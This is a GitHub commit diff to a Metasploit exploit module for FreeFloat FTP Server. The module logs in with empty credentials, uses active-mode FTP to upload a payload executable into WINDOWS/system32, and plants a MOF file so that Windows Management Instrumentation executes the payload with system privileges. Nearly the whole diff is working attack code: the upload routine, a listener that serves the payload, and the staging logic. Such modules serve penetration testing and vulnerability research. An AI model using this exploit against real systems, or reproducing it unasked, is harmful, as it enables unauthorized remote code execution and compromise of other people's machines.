Skip to content

Commit bae5442

Browse files
author
jvazquez-r7
committed
working...
1 parent 403ac1d commit bae5442

File tree

1 file changed

+102
-19
lines changed

1 file changed

+102
-19
lines changed

modules/exploits/windows/ftp/freefloatftp_wbem.rb

Lines changed: 102 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -11,20 +11,24 @@ class Metasploit3 < Msf::Exploit::Remote
1111
Rank = ExcellentRanking
1212

1313
include Msf::Exploit::Remote::Ftp
14-
include Msf::Exploit::WbemExec
14+
include Msf::Exploit::Remote::TcpServer
1515
include Msf::Exploit::EXE
16+
include Msf::Exploit::WbemExec
17+
include Msf::Exploit::FileDropper
1618

1719
def initialize(info={})
1820
super(update_info(info,
1921
'Name' => "FreeFloat FTP Server Arbitrary File Upload",
2022
'Description' => %q{
21-
Scre buffer overflows. FreeFloat allows remote user to upload anywhere on the file system. Win!
23+
This module abuses a lack of authentication and authorization on FreeFloat FTP
24+
Server to upload arbitrary files to the remote filesystem. This module uses the
25+
Windows Management Instrumentation service to execute the payload uploaded.
2226
},
2327
'License' => MSF_LICENSE,
2428
'Author' =>
2529
[
26-
'juan vazquez',
27-
'sinn3r'
30+
'sinn3r', # Vulnerability discovery, Metasploit module
31+
'juan vazquez' # Metasploit module
2832
],
2933
'References' =>
3034
[
@@ -35,11 +39,20 @@ def initialize(info={})
3539
[
3640
['FreeFloat', {}],
3741
],
38-
'Privileged' => false,
39-
'DisclosureDate' => "Apr 1 2012",
42+
'Privileged' => true,
43+
'DisclosureDate' => "Dec 7 2012",
4044
'DefaultTarget' => 0))
45+
46+
register_options(
47+
[
48+
# Change the default description so this option makes sense
49+
OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
50+
], self.class)
51+
52+
deregister_options('FTPUSER', 'FTPPASS') # Using empty user and password
4153
end
4254

55+
4356
def check
4457
connect
4558
disconnect
@@ -52,23 +65,93 @@ def check
5265
end
5366
end
5467

55-
def peer
56-
"#{rhost}:#{rport}"
68+
69+
def on_client_connect(cli)
70+
peer = "#{cli.peerhost}:#{cli.peerport}"
71+
72+
case @stage
73+
when :exe
74+
print_status("#{peer} - Sending executable (#{@exe.length.to_s} bytes)")
75+
cli.put(@exe)
76+
@stage = :mof
77+
78+
when :mof
79+
print_status("#{peer} - Sending MOF (#{@mof.length.to_s} bytes)")
80+
cli.put(@mof)
81+
end
82+
83+
cli.close
5784
end
5885

59-
def exploit
60-
print_status("#{peer} - Generating payload...")
61-
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
62-
exe = generate_payload_exe
63-
mof_name = Rex::Text::rand_text_alpha(5) + ".mof"
64-
mof = generate_mof(mof_name, exe_name)
6586

66-
connect
87+
def upload(filename)
88+
select(nil, nil, nil, 1)
6789

68-
print_status("#{peer} - Uploading '{exe_name}'")
90+
peer = "#{rhost}:#{rport}"
91+
print_status("#{peer} - Trying to upload #{::File.basename(filename)}")
6992

70-
print_status("#{peer} - Uploading '#{mof_name}'")
93+
conn = connect(false, datastore['VERBOSE'])
7194

72-
disconnect
95+
print_status("#{peer} - Sending empty login...")
96+
97+
res = send_user("", conn)
98+
if not res or res !~ /331/
99+
print_error("#{peer} - Error sending username")
100+
return false
101+
end
102+
103+
res = send_pass("", conn)
104+
if not res or res !~ /230/
105+
print_error("#{peer} - Error sending password")
106+
return false
107+
end
108+
109+
print_good("#{peer} - Empty authentication was successful")
110+
111+
# Switch to binary mode
112+
print_status("#{peer} - Set binary mode")
113+
send_cmd(['TYPE', 'I'], true, conn)
114+
115+
# Prepare active mode: Get attacker's IP and source port
116+
src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
117+
src_port = datastore['SRVPORT'].to_i
118+
119+
# Prepare active mode: Convert the IP and port for active mode
120+
src_ip = src_ip.gsub(/\./, ',')
121+
src_port = "#{src_port/256},#{src_port.remainder(256)}"
122+
123+
# Set to active mode
124+
print_status("#{peer} - Set active mode \"#{src_ip},#{src_port}\"")
125+
send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)
126+
127+
# Tell the FTP server to download our file
128+
send_cmd(['STOR', filename], false, conn)
129+
130+
disconnect(conn)
73131
end
74-
end
132+
133+
134+
def exploit
135+
136+
exe_name = "WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"
137+
mof_name = "WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof"
138+
@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
139+
@exe = generate_payload_exe
140+
@stage = :exe
141+
142+
begin
143+
t = framework.threads.spawn("reqs", false) {
144+
# Upload our malicious executable
145+
u = upload(exe_name)
146+
# Upload the mof file
147+
upload(mof_name) if u
148+
register_file_for_cleanup("#{::File.basename(exe_name)}")
149+
register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
150+
}
151+
super
152+
ensure
153+
t.kill
154+
end
155+
end
156+
157+
end

0 commit comments

Comments
 (0)